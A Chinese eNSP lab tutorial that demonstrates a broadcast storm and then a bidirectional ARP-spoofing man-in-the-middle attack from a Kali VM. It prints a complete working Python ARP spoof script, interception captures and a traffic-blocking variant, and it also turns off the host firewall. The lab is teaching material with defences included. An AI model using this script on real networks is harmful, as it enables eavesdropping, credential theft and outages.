【无标题】

ensp之广播风暴和ARP欺骗实验

网络拓扑图:(这里我们复用之前STP实验的拓扑图)

端口连接表

本端设备 本端端口 对端设备 对端端口 链路类型
LSW1 G0/0/1 LSW2 G0/0/1 Trunk
LSW1 G0/0/2 LSW3 G0/0/1 Trunk
LSW2 G0/0/2 LSW4 G0/0/1 Trunk
LSW3 G0/0/2 LSW5 G0/0/1 Trunk
LSW4 G0/0/2 LSW5 G0/0/2 Trunk
LSW4 G0/0/3 PC1 网卡 Access
LSW4 G0/0/4 PC2 网卡 Access
LSW5 G0/0/3 PC3 网卡 Access

pc1:192.168.1.1/24

pc2:192.168.1.2/24

pc3:192.168.1.3/24

测试pc1、pc2、pc3连通性:

复制代码
PC>ping 192.168.1.2

Ping 192.168.1.2: 32 data bytes, Press Ctrl_C to break
From 192.168.1.2: bytes=32 seq=1 ttl=128 time=46 ms
From 192.168.1.2: bytes=32 seq=2 ttl=128 time=47 ms
From 192.168.1.2: bytes=32 seq=3 ttl=128 time=46 ms
From 192.168.1.2: bytes=32 seq=4 ttl=128 time=47 ms
From 192.168.1.2: bytes=32 seq=5 ttl=128 time=47 ms

--- 192.168.1.2 ping statistics ---
  5 packet(s) transmitted
  5 packet(s) received
  0.00% packet loss
  round-trip min/avg/max = 46/46/47 ms

PC>ping 192.168.1.3

Ping 192.168.1.3: 32 data bytes, Press Ctrl_C to break
From 192.168.1.3: bytes=32 seq=1 ttl=128 time=141 ms
From 192.168.1.3: bytes=32 seq=2 ttl=128 time=125 ms
From 192.168.1.3: bytes=32 seq=3 ttl=128 time=125 ms
From 192.168.1.3: bytes=32 seq=4 ttl=128 time=156 ms
From 192.168.1.3: bytes=32 seq=5 ttl=128 time=156 ms

--- 192.168.1.3 ping statistics ---
  5 packet(s) transmitted
  5 packet(s) received
  0.00% packet loss
  round-trip min/avg/max = 125/140/156 ms
一、广播风暴

交换机的配置:华为交换机通常默认启用了更高级的MSTP(多生成树协议)。为了制造环路,我们需要全局禁用所有交换机的STP功能。这是为了验证在没有STP的环境下,环路会引发什么问题。

bash 复制代码
<Huawei>system-view 
[Huawei]un in en #关闭提示信息。这里是简写,完整的命令是undo info-center enable
[Huawei]sysname LSW1
[LSW1]undo stp enable 
Warning: The global STP state will be changed. Continue? [Y/N]y
Info: This operation may take a few seconds. Please wait for a moment...done.
复制代码
<Huawei>system-view 
[Huawei]un in en
[Huawei]sysname LSW2
[LSW2]undo stp enable 
Warning: The global STP state will be changed. Continue? [Y/N]y
Info: This operation may take a few seconds. Please wait for a moment...done.

<Huawei>system-view 
[Huawei]un in en
[Huawei]sysname LSW3
[LSW3]undo stp enable 
Warning: The global STP state will be changed. Continue? [Y/N]y
Info: This operation may take a few seconds. Please wait for a moment...done.

<Huawei>system-view 
[Huawei]un in en
[Huawei]sysname LSW4
[LSW4]undo stp enable 
Warning: The global STP state will be changed. Continue? [Y/N]y
Info: This operation may take a few seconds. Please wait for a moment...done.

<Huawei>system-view 
[Huawei]un in en
[Huawei]sysname LSW5
[LSW5]undo stp enable 
Warning: The global STP state will be changed. Continue? [Y/N]y
Info: This operation may take a few seconds. Please wait for a moment...done.

配置完成后,环路就形成了。

1.3 观察环路现象

pc1和pc2和pc3之间已经无法正常通信。

复制代码
PC>ping 192.168.1.2

Ping 192.168.1.2: 32 data bytes, Press Ctrl_C to break
Request timeout!
Request timeout!
From 192.168.1.2: bytes=32 seq=3 ttl=128 time=47 ms
Request timeout!
Request timeout!

--- 192.168.1.2 ping statistics ---
  5 packet(s) transmitted
  1 packet(s) received
  80.00% packet loss
  round-trip min/avg/max = 0/47/47 ms

PC>ping 192.168.1.3

Ping 192.168.1.3: 32 data bytes, Press Ctrl_C to break
From 192.168.1.1: Destination host unreachable
Request timeout!
Request timeout!
Request timeout!
Request timeout!
Request timeout!

--- 192.168.1.3 ping statistics ---
  5 packet(s) transmitted
  0 packet(s) received
  100.00% packet loss

抓包验证:点击数据抓包,选择LSW1的001端口,弹出的wireshark界面直观的看出数千个ARP广播包。PC1发出一个广播请求,比如ARP请求,这个请求会在5台交换机组成的环路里被无限循环泛洪。每次经过一个交换机,MAC地址表都会被刷新,导致MAC地址表震荡,设备忙于处理大量重复帧,最终耗尽网络带宽和设备性能。

执行以下命令恢复环路。也可以直接关闭所有设备再打开,效果是一样的。

复制代码
[LSW1]stp enable

[LSW2]stp enable

[LSW3]stp enable

[LSW4]stp enable

[LSW5]stp enable

PC1:
PC>ping 192.168.1.2

Ping 192.168.1.2: 32 data bytes, Press Ctrl_C to break
From 192.168.1.2: bytes=32 seq=1 ttl=128 time=63 ms
From 192.168.1.2: bytes=32 seq=2 ttl=128 time=46 ms
From 192.168.1.2: bytes=32 seq=3 ttl=128 time=47 ms
From 192.168.1.2: bytes=32 seq=4 ttl=128 time=63 ms
From 192.168.1.2: bytes=32 seq=5 ttl=128 time=47 ms

--- 192.168.1.2 ping statistics ---
  5 packet(s) transmitted
  5 packet(s) received
  0.00% packet loss
  round-trip min/avg/max = 46/53/63 ms

PC>ping 192.168.1.3

Ping 192.168.1.3: 32 data bytes, Press Ctrl_C to break
From 192.168.1.3: bytes=32 seq=1 ttl=128 time=141 ms
From 192.168.1.3: bytes=32 seq=2 ttl=128 time=140 ms
From 192.168.1.3: bytes=32 seq=3 ttl=128 time=125 ms
From 192.168.1.3: bytes=32 seq=4 ttl=128 time=156 ms
From 192.168.1.3: bytes=32 seq=5 ttl=128 time=109 ms

--- 192.168.1.3 ping statistics ---
  5 packet(s) transmitted
  5 packet(s) received
  0.00% packet loss
  round-trip min/avg/max = 109/134/156 ms

PC1和PC2、PC3之间的通信恢复。

复制代码
必须再用PC2手动ping PC1:强制触发 ARP 学习!(破除eNSP mac地址学习的假死,这是我后面实验的时候踩得坑,提前提醒解决)
PC>ping 192.168.1.1

Ping 192.168.1.1: 32 data bytes, Press Ctrl_C to break
From 192.168.1.1: bytes=32 seq=1 ttl=128 time=63 ms
From 192.168.1.1: bytes=32 seq=2 ttl=128 time=47 ms
From 192.168.1.1: bytes=32 seq=3 ttl=128 time=47 ms
From 192.168.1.1: bytes=32 seq=4 ttl=128 time=47 ms

看到LSW4以下显示即可开始下一步:

复制代码
[LSW4]display mac-address
MAC address table of slot 0:
-------------------------------------------------------------------------------
MAC Address    VLAN/       PEVLAN CEVLAN Port            Type      LSP/LSR-ID  
               VSI/SI                                              MAC-Tunnel  
-------------------------------------------------------------------------------
5489-9820-2e7c 1           -      -      GE0/0/4         dynamic   0/-         
5489-9899-165e 1           -      -      GE0/0/3         dynamic   0/-         
-------------------------------------------------------------------------------
Total matching items on slot 0 displayed = 2 

剩下的STP、RSTP、MSTP实验就不贴出来了,感兴趣的可以去看:

https://blog.csdn.net/weixin_44923273/article/details/161145350

二、ARP 欺骗

(ARP Spoofing / ARP Poisoning)是一种网络攻击行为。攻击者发送伪造的 ARP 报文,欺骗其他设备将本该发往正确 MAC 的流量转到攻击者(或错误)的 MAC 地址,实现中间人攻击、断网等。特征:ARP 表被篡改,通信被截获或中断,不一定引起广播风暴。

项目 广播风暴 ARP 病毒
类型 网络故障现象 网络攻击手段
根本原因 二层环路 恶意 ARP 报文
是否依赖病毒
典型解决方法 启用 STP / 破除环路 绑定静态 ARP、部署 DAI 等

ARP 欺骗能造成的危害有:

  • 中间人攻击:攻击者潜入两台主机之间,将原本直接的通信都经过自己,从而被窃听或篡改。
  • 窃取信息:这是最危险的核心目的。攻击者会窃取你的登录账号、密码,甚至网银信息。
  • 网络断网与卡顿:导致被攻击的电脑频繁掉线,或者网速变得极不稳定。

为防止误操作导致的风险,建议本次实验在本地网络进行。不要连接到互联网。后面的ARP欺骗也使用离线脚本进行。

我们已经有的软件是VMware17.6,kali-linux-2026.1-installer-amd64.iso.接下来:

第一步:用 VMware 打开 Kali 镜像文件

打开 VMware Workstation 17.6,点击首页的 "创建新的虚拟机" 。选择 "典型(推荐)" ,下一步。选择 "安装程序光盘映像文件(iso)" ,点"浏览"找到你下载的 kali-linux-2026.1-installer-amd64.iso,下一步。客户机操作系统选 "Linux" ,版本选 "Debian 10.x 64 位" (因为 Kali 基于 Debian,选这项兼容性最好),下一步。给虚拟机起个名字,比如 Kali-ARP,位置建议放在空间足够的盘(至少留 30GB),下一步。磁盘大小默认 20GB 足够用,选择 "将虚拟磁盘存储为单个文件" ,下一步。点击 "完成"

第二步:调整硬件配置,保证流畅不卡

在刚才的完成界面,或者虚拟机列表里右键这台虚拟机 → 设置,内存2GB (2048 MB)处理器1 颗处理器,2 个核心网络适配器 :桥接模式。移除USB 控制器、声卡、打印机**,设置完成后点 **"确定"。

第三步:安装 Kali Linux

  1. 在 VMware 中点击 "开启此虚拟机",会从刚才的 iso 启动,出现 Kali 安装菜单。
  2. 选择 "Graphical install" (图形化安装),回车。语言选 English避免兼容问题 ,一路下一步:国家和地区选 "usa"。键盘选"American English"。configure the network选择yes,下一步。让你填写 DNS 服务器的 IP 地址 ,什么都不填,直接留空,按回车继续。主机名填 kali,域名留空。用户名和密码自己设,比如用户名 kali,密码 123456。时间随便选一个。继续。
  3. 磁盘分区选 "使用整个磁盘",然后选唯一的虚拟磁盘,分区方案选 "将所有文件放在同一个分区"**,确认后选"是"写入磁盘。是否把以上修改写入磁盘?"*选择是,继续。
  4. 软件选择时,默认勾选 "Xfce 桌面环境"和 top10 就行,不要全选。继续。等安装完成。后面一个问题选择yes。安装引导器选择 /dev/sda。安装完毕会提示重启,重启后进入登录界面。输入用户名kali,密码123456,登录。

第四步:给 Kali 配上静态 IP

手动给 Kali 配置之前规划好的 IP 192.168.1.100/24

  1. 登录后,打开终端(在 桌面空白处 单击鼠标右键,点击 "Open Terminal Here"

  2. 先查看一下网卡名字:

    bash 复制代码
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ ip a   
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host noprefixroute 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        link/ether 00:0c:29:f7:33:07 brd ff:ff:ff:ff:ff:ff
        inet6 fe80::20c:29ff:fef7:3307/64 scope link noprefixroute 
           valid_lft forever preferred_lft forever
    3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        link/ether 00:0c:29:f7:33:11 brd ff:ff:ff:ff:ff:ff
  3. 临时设置 IP(下次重启会失效,实验期间够用):

    bash 复制代码
    sudo ip addr add 192.168.1.100/24 dev eth0
    [sudo] password for kali: 123456
    sudo ip link set eth0 up

    点击顶部菜单 "编辑""虚拟网络编辑器" 。选中 VMnet1 (仅主机模式)。下方找到 "使用本地 DHCP 服务将 IP 地址分配给虚拟机" ,把前面的勾 取消掉 。子网IP:192.168.1.0,子网掩码:255.255.255.0。点击 "应用""确定"

    配置 eNSP 的"云"设备:

    升级实验拓扑(引入云与虚拟机):为了模拟攻击,我们在 eNSP 的拓扑中引入一台真正的"黑客"虚拟机。拓扑图中找到云朵的图标,拖到LSW2和LSW4之间。

    给宿主机的 VMnet1 配置静态IP

    1. Win + R → 输入 ncpa.cpl → 回车打开网络连接,找到 VMware Network Adapter VMnet1 → 右键 → 属性,双击 Internet 协议版本 4 (TCP/IPv4) ,选择 "使用下面的IP地址",填写:
    配置项
    IP地址 192.168.1.254
    子网掩码 255.255.255.0
    默认网关 留空
    DNS 留空

    1、双击那个 云的图标 ,弹出配置窗口。绑定信息"** 选择**VMware Network Adapter VMnet1**。点 "增加" 。 这时映射表里出现第二条记录,通道另一端是这个虚拟网卡。之前把 Kali 的网络设为 仅主机模式,它对应的网卡在你的物理电脑上就叫 VMware Network Adapter VMnet1-IP: 192.168.1.254。

    2、绑定信息点击udp,增加,出现第二条绑定信息。多选几条都不影响。端口映射表那里配置一定要注意!eNSP Cloud 的端口映射表 是 eNSP 与 VMware 桥接时 最高频、最隐蔽的坑 。只绑定网卡,漏了双向端口映射,一定会导致ICMP(单播)偶尔能通(靠广播泛洪侥幸到达),但ARP广播必丢!

    关闭 Windows 防火墙:按下 Win + R,输入 control 后回车,打开控制面板。将右上角的"查看方式"改为 "大图标" 。找到并打开 "Windows Defender 防火墙" 。点击左侧的 "启用或关闭 Windows Defender 防火墙" 。在"专用网络设置"和"公用网络设置"下,都选择 "关闭 Windows Defender 防火墙(不推荐)"。点击"确定"保存。


    第 3 步:连接云到交换机,配置交换机端口

    1. 选择左边的copper线,把鼠标移到云的图标上,把这个口连接到 LSW4 的空接口的 G0/0/5。

    2. 在 LSW4 的命令行里配置这个端口为 access,让它加入 VLAN 1(所有设备默认都在 VLAN 1):

      复制代码
      [LSW4]interface GigabitEthernet 0/0/5
      [LSW4-GigabitEthernet0/0/5]port link-type access
      [LSW4-GigabitEthernet0/0/5]port default vlan 1
      [LSW4-GigabitEthernet0/0/5]quit
      [LSW4]display interface GigabitEthernet 0/0/5
      GigabitEthernet0/0/5 current state : UP
      Line protocol current state : UP

      确认这个端口是 UP 状态。


    第 4 步:测试连通性

    回到 Kali 虚拟机的终端里,测试它和 PC1, PC2,PC3的连通性:

    复制代码
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ ping -c 3 192.168.1.1
    PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
    64 bytes from 192.168.1.1: icmp_seq=1 ttl=128 time=64.4 ms
    64 bytes from 192.168.1.1: icmp_seq=2 ttl=128 time=23.9 ms
    64 bytes from 192.168.1.1: icmp_seq=3 ttl=128 time=39.8 ms
    
    --- 192.168.1.1 ping statistics ---
    3 packets transmitted, 3 received, 0% packet loss, time 2001ms
    rtt min/avg/max/mdev = 23.874/42.709/64.438/16.686 ms
                                                                                 
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ ping -c 3 192.168.1.2
    PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data.
    64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=56.3 ms
    64 bytes from 192.168.1.2: icmp_seq=2 ttl=128 time=27.5 ms
    64 bytes from 192.168.1.2: icmp_seq=3 ttl=128 time=26.6 ms
    
    --- 192.168.1.2 ping statistics ---
    3 packets transmitted, 3 received, 0% packet loss, time 2004ms
    rtt min/avg/max/mdev = 26.594/36.797/56.255/13.764 ms
                                                                                 
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ ping -c 3 192.168.1.3
    PING 192.168.1.3 (192.168.1.3) 56(84) bytes of data.
    64 bytes from 192.168.1.3: icmp_seq=1 ttl=128 time=226 ms
    64 bytes from 192.168.1.3: icmp_seq=2 ttl=128 time=122 ms
    64 bytes from 192.168.1.3: icmp_seq=3 ttl=128 time=157 ms
    
    --- 192.168.1.3 ping statistics ---
    3 packets transmitted, 3 received, 0% packet loss, time 2004ms
    rtt min/avg/max/mdev = 121.651/168.038/225.625/43.179 ms
3、模拟 ARP 攻击

PC1(192.168.1.1)PC2(192.168.1.2) 实施 双向 ARP 中间人攻击(MITM),并完成现象验证与抓包分析。


🛠️ 第一步:Kali 攻击前准备

  1. 开启 IP 转发:sudo sysctl -w net.ipv4.ip_forward=1(⚠️关键:不开会导致流量被 Kali 丢弃,变成"断网攻击"而非"窃听攻击")

    bash 复制代码
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ sudo sysctl -w net.ipv4.ip_forward=1
    net.ipv4.ip_forward = 1
  2. 确认 Kali MAC 地址:ip link show eth0 | grep ether # 记下类似 00:0c:29:xx:xx:xx 的地址(用于后续对比 ARP 表毒化效果)

    bash 复制代码
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ ip link show eth0 | grep ether
        link/ether 00:0c:29:f7:33:07 brd ff:ff:ff:ff:ff:ff

    离线 ARP 欺骗脚本

    用这个纯 Python 标准库脚本,直接实现双向 ARP 欺骗。

    1️⃣ 创建脚本
    bash 复制代码
    nano ~/Desktop/offline_arp_spoof.py
    2️⃣ 粘贴代码(已配置好你的实验环境)
    python 复制代码
    #!/usr/bin/env python3
    import socket
    import struct
    import time
    import os
    import sys
    
    # ========== 实验配置 ==========
    IFACE = "eth0"              # 实验网卡
    TARGET1 = "192.168.1.1"     # PC1
    TARGET2 = "192.168.1.2"     # PC2
    KALI_IP = "192.168.1.100"   # Kali 实验 IP
    SPOOF_INTERVAL = 2          # 发送间隔
    # ============================
    
    def get_mac(iface):
        """读取网卡 MAC"""
        with open(f"/sys/class/net/{iface}/address") as f:
            return f.read().strip()
    
    def eth_frame(dst_mac, src_mac, ether_type, payload):
        """构造以太网帧"""
        dst = bytes.fromhex(dst_mac.replace(":", ""))
        src = bytes.fromhex(src_mac.replace(":", ""))
        return dst + src + struct.pack("!H", ether_type) + payload
    
    def arp_packet(op, src_mac, src_ip, dst_mac, dst_ip):
        """构造 ARP 包(op=1 请求,op=2 回复)"""
        hwtype = 1  # Ethernet
        proto = 0x0800  # IPv4
        hlen = 6
        plen = 4
        # ARP 头部 + 数据
        arp = struct.pack("!HHBBH", hwtype, proto, hlen, plen, op)
        arp += bytes.fromhex(src_mac.replace(":", ""))  # sender MAC
        arp += socket.inet_aton(src_ip)                  # sender IP
        arp += bytes.fromhex(dst_mac.replace(":", ""))  # target MAC
        arp += socket.inet_aton(dst_ip)                  # target IP
        return arp
    
    def send_arp_spoof(iface, target_ip, fake_src_ip, fake_src_mac):
        """发送伪造 ARP 回复:告诉 target,fake_src_ip 的 MAC 是 fake_src_mac"""
        # 广播 MAC
        broadcast = "ff:ff:ff:ff:ff:ff"
        # 构造 ARP 回复(op=2)
        arp = arp_packet(2, fake_src_mac, fake_src_ip, broadcast, target_ip)
        # 以太网帧
        frame = eth_frame(broadcast, fake_src_mac, 0x0806, arp)  # 0x0806 = ARP
        # 原始套接字发送
        sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
        sock.bind((iface, 0))
        sock.send(frame)
        sock.close()
    
    def main():
        kali_mac = get_mac(IFACE)
        print(f"[*] Offline ARP Spoofing on {IFACE}")
        print(f"[*] Kali MAC: {kali_mac}")
        print(f"[*] Poisoning: {TARGET1} <-> {TARGET2}")
        print("[*] Press Ctrl+C to stop")
        
        # 开启系统转发(中间人关键!)
        os.system("sysctl -w net.ipv4.ip_forward=1")
        
        try:
            while True:
                # 双向欺骗
                # 告诉 PC1: PC2 的 MAC 是 Kali
                send_arp_spoof(IFACE, TARGET1, TARGET2, kali_mac)
                # 告诉 PC2: PC1 的 MAC  是 Kali
                send_arp_spoof(IFACE, TARGET2, TARGET1, kali_mac)
                time.sleep(SPOOF_INTERVAL)
        except KeyboardInterrupt:
            print("\n[*] Stopped.")
            os.system("sysctl -w net.ipv4.ip_forward=0")
    
    if __name__ == "__main__":
        if os.geteuid() != 0:
            print("[-] Please run with sudo")
            sys.exit(1)
        main()
    1. 粘贴完代码后,按 Ctrl + O (字母 O,不是数字 0)→ 屏幕底部会提示 File Name to Write: /root/Desktop/offline_arp_spoof.py
    2. 直接按 Enter 确认文件名,按 Ctrl + X → 退出编辑器,回到命令行

    回到命令行后执行:ls -l ~/Desktop/offline_arp_spoof.py

    bash 复制代码
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ ls -l ~/Desktop/offline_arp_spoof.py
    -rw-rw-r-- 1 kali kali 2738 May 19 01:05 /home/kali/Desktop/offline_arp_spoof.py

    如果显示文件大小(通常 2~3KB)且没有报错,说明保存成功。


    下一步:直接运行脚本

    bash 复制代码
    # 1. 确保 eth0 有实验 IP(没有就重新配)
    sudo ip addr add 192.168.1.100/24 dev eth0
    
    # 2. 运行攻击脚本
    sudo python3 ~/Desktop/offline_arp_spoof.py

    ✅ 看到以下输出说明开始工作:

    复制代码
    [*] Offline ARP Spoofing on eth0
    [*] Kali MAC: 00:0c:29:f7:33:07
    [*] Poisoning: 192.168.1.1 <-> 192.168.1.2
    [*] Press Ctrl+C to stop

    此时去 eNSP 的 PC1 执行 ping 192.168.1.2 -tarp -a,就能验证攻击效果了。

    脚本会一直运行,想停止时按 Ctrl + C 即可。

    复制代码
    PC1:
    PC>ping 192.168.1.2 -t
    
    Ping 192.168.1.2: 32 data bytes, Press Ctrl_C to break
    Request timeout!
    Request timeout!
    Request timeout!
    From 192.168.1.2: bytes=32 seq=4 ttl=127 time=63 ms
    From 192.168.1.2: bytes=32 seq=5 ttl=127 time=63 ms
    From 192.168.1.2: bytes=32 seq=6 ttl=127 time=63 ms
    From 192.168.1.2: bytes=32 seq=7 ttl=127 time=47 ms
    From 192.168.1.2: bytes=32 seq=8 ttl=127 time=93 ms
    From 192.168.1.2: bytes=32 seq=9 ttl=127 time=94 ms
    From 192.168.1.2: bytes=32 seq=10 ttl=127 time=78 ms
    From 192.168.1.2: bytes=32 seq=11 ttl=127 time=47 ms
    
    --- 192.168.1.2 ping statistics ---
      11 packet(s) transmitted
      8 packet(s) received
      27.27% packet loss
      round-trip min/avg/max = 0/68/94 ms
      
    PC>arp -a
    
    Internet Address    Physical Address    Type
    192.168.1.100       00-0C-29-F7-33-07   dynamic
    192.168.1.1         00-0C-29-F7-33-07   dynamic
    192.168.1.2         00-0C-29-F7-33-07   dynamic
    效果:192.168.1.2 对应的 MAC 地址 不再是 PC2 的真实 MAC,而是 Kali 的 MAC 地址 。 PC2 的 ARP 表同理也会被毒化,显示 PC1 的 IP 对应 Kali 的 MAC 00:0c:29:f7:33:07

    Kali 抓包:sudo tcpdump -i eth0 -nn icmp → 看到双向流量:

    复制代码
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ sudo tcpdump -i eth0 -nn icmp                      
    [sudo] password for kali: 
    tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
    listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
    01:10:52.627321 IP 192.168.1.1 > 192.168.1.2: ICMP echo request, id 2843, seq 1, length 40
    01:10:52.627364 IP 192.168.1.100 > 192.168.1.1: ICMP redirect 192.168.1.2 to host 192.168.1.2, length 68
    01:10:52.627489 IP 192.168.1.1 > 192.168.1.2: ICMP echo request, id 2843, seq 1, length 40
    01:10:52.670029 IP 192.168.1.2 > 192.168.1.1: ICMP echo reply, id 2843, seq 1, length 40
    01:10:52.670046 IP 192.168.1.100 > 192.168.1.2: ICMP redirect 192.168.1.1 to host 192.168.1.1, length 68
    01:10:52.670079 IP 192.168.1.2 > 192.168.1.1: ICMP echo reply, id 2843, seq 1, length 40
    01:10:53.706005 IP 192.168.1.1 > 192.168.1.2: ICMP echo request, id 3099, seq 2, length 40
    01:10:53.706053 IP 192.168.1.100 > 192.168.1.1: ICMP redirect 192.168.1.2 to host 192.168.1.2, length 68
    01:10:53.706420 IP 192.168.1.1 > 192.168.1.2: ICMP echo request, id 3099, seq 2, length 40
    01:10:53.732177 IP 192.168.1.2 > 192.168.1.1: ICMP echo reply, id 3099, seq 2, length 40
    01:10:53.732225 IP 192.168.1.100 > 192.168.1.2: ICMP redirect 192.168.1.1 to host 192.168.1.1, length 68
    01:10:53.732352 IP 192.168.1.2 > 192.168.1.1: ICMP echo reply, id 3099, seq 2, length 40
    5️⃣ 模拟断网攻击

    新开终端执行:sudo sysctl -w net.ipv4.ip_forward=0

    bash 复制代码
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ sudo sysctl -w net.ipv4.ip_forward=0
    net.ipv4.ip_forward = 0

    PC1 ping PC2 → 100% 超时,完美演示"断网攻击"。

    复制代码
    PC1:
    PC>ping 192.168.1.2 -t
    
    Ping 192.168.1.2: 32 data bytes, Press Ctrl_C to break
    Request timeout!
    Request timeout!
    Request timeout!
    Request timeout!
    Request timeout!
    Request timeout!
    
    --- 192.168.1.2 ping statistics ---
      6 packet(s) transmitted
      0 packet(s) received
      100.00% packet loss

第四步:停止攻击 & 环境恢复

1️⃣ 停止 Kali 攻击脚本

在运行 offline_arp_spoof.py 的终端中,直接按 Ctrl + C

复制代码
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo python3 ~/Desktop/offline_arp_spoof.py
[*] Offline ARP Spoofing on eth0
[*] Kali MAC: 00:0c:29:f7:33:07
[*] Poisoning: 192.168.1.1 <-> 192.168.1.2
[*] Press Ctrl+C to stop
net.ipv4.ip_forward = 1
^C
[*] Stopped.
net.ipv4.ip_forward = 0

✅ 脚本已内置中断处理,会自动执行 sysctl -w net.ipv4.ip_forward=0,停止流量转发。

验证转发已关闭:返回0表示关闭成功。

bash 复制代码
┌──(kali㉿kali)-[~/Desktop]
└─$ cat /proc/sys/net/ipv4/ip_forward
0
2️⃣ 清理 Kali 网络栈残留
bash 复制代码
# 清除 ARP 缓存(避免残留毒化条目干扰下次实验)
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ip neigh flush dev eth0
[sudo] password for kali: 
3️⃣ 恢复 eNSP 中 PC 的 ARP 表

eNSP 虚拟 PC 的 ARP 缓存不会立即自动过期,需手动清理:

在 PC1 终端执行:PC> arp -d 192.168.1.2

在 PC2 终端执行:PC> arp -d 192.168.1.1

验证 :执行 PC> arp -a,此时应显示真实的设备 MAC,不再是 00-0C-29-F7-33-07

4️⃣ 恢复交换机与拓扑状态
  • 重新启用 STP(恢复二层防环机制):

    bash 复制代码
    [LSW1]stp enable
    [LSW2]stp enable
    [LSW3]stp enable
    [LSW4]stp enable
    [LSW5]stp enable
  • 清理 MAC 地址表(可选,加速生成树重新收敛):

    bash 复制代码
    <LSW1>reset mac-address dynamic
    <LSW2>reset mac-address dynamic
    <LSW3>reset mac-address dynamic
    <LSW4>reset mac-address dynamic
    <LSW5>reset mac-address dynamic

    (系统提示确认时输入 y)

  • 移除 Cloud 设备 (若本期实验结束):

    断开 Cloud 与 LSW4 的连线 → 双击 Cloud 删除 UDP 绑定记录 → 右键拓扑图删除 Cloud 图标。

5️⃣ 最终连通性验证

在 PC1 执行持续 ping 测试:

复制代码
PC> ping 192.168.1.2 -t

成功标志

复制代码
From 192.168.1.2: bytes=32 seq=1 ttl=128 time=46 ms
From 192.168.1.2: bytes=32 seq=2 ttl=128 time=47 ms
...

延迟稳定在 40~60ms0% 丢包,说明网络已完全恢复正常转发路径。


🛡️ 延伸:防御思路

华为交换机可通过以下机制缓解 ARP 欺骗:

bash 复制代码
[LSW4] arp anti-attack entry check enable      # 开启 ARP 表项严格检查
[LSW4] arp anti-attack rate-limit enable       # 开启 ARP 报文限速防泛洪
[LSW4] dhcp snooping enable                    # 配合 DAI 实现动态 ARP 检测

总结

观察维度 正常网络状态 ARP 欺骗攻击中
PC1 的 ARP 表 PC2 IP → PC2 真实 MAC PC2 IP → Kali 的 MAC
流量实际路径 PC1 ↔ 交换机 ↔ PC2 PC1 → 交换机 → Kali → 交换机 → PC2
Wireshark 抓包 仅看到两端直通信的帧 Kali 网卡同时收到双向的 ICMP/ARP 包
关闭 ip_forward 后 通信正常 100% 丢包(模拟断网/DoS)

记得保存。这个大实验从广播风暴的出现,到STP、RSTP、MSTP协议解决广播风暴,再到人为制造的ARP欺骗导致的广播风暴的防御和学习,本次实验即将结束。

如果还有兴趣,可以继续下一个拓展实验:DNS劫持。DNS劫持是ARP欺骗的一个重要应用。例如某部门员工反馈在知名网站登录页面输入用户名和密码之后,点击登录无反应,更换终端PC的DNS后登录正常。直接输入IP地址也能正常登录。

相关推荐
basketball6161 小时前
C++ 构造函数完全指南:从入门到进阶
java·开发语言·c++
楼兰公子1 小时前
RK3588 + Linux7.0.3 网络工程调试错误速查手册
linux·网络·3588
Elnaij1 小时前
Linux系统与系统编程(9)——自设计shell与基础IO
linux·服务器
IpdataCloud2 小时前
稳定的企业级IP数据接口怎么选?可用性指标+离线库高可用方案
运维·网络·tcp/ip
HMS工业网络2 小时前
如何解决使用TwinCAT时EtherCAT网络出现“Sync Manager Watchdog”报错
网络·网络协议·网络安全
淘矿人2 小时前
Claude辅助DevOps实践
java·大数据·运维·人工智能·算法·bug·devops
IMPYLH2 小时前
Linux 的 unexpand 命令
linux·运维·服务器·bash
想唱rap2 小时前
IO多路转接之poll
服务器·开发语言·数据库·c++
小江的记录本2 小时前
【Java基础】泛型:泛型擦除、通配符、上下界限定(附《思维导图》+《面试高频考点清单》)
java·数据结构·后端·mysql·spring·面试·职场和发展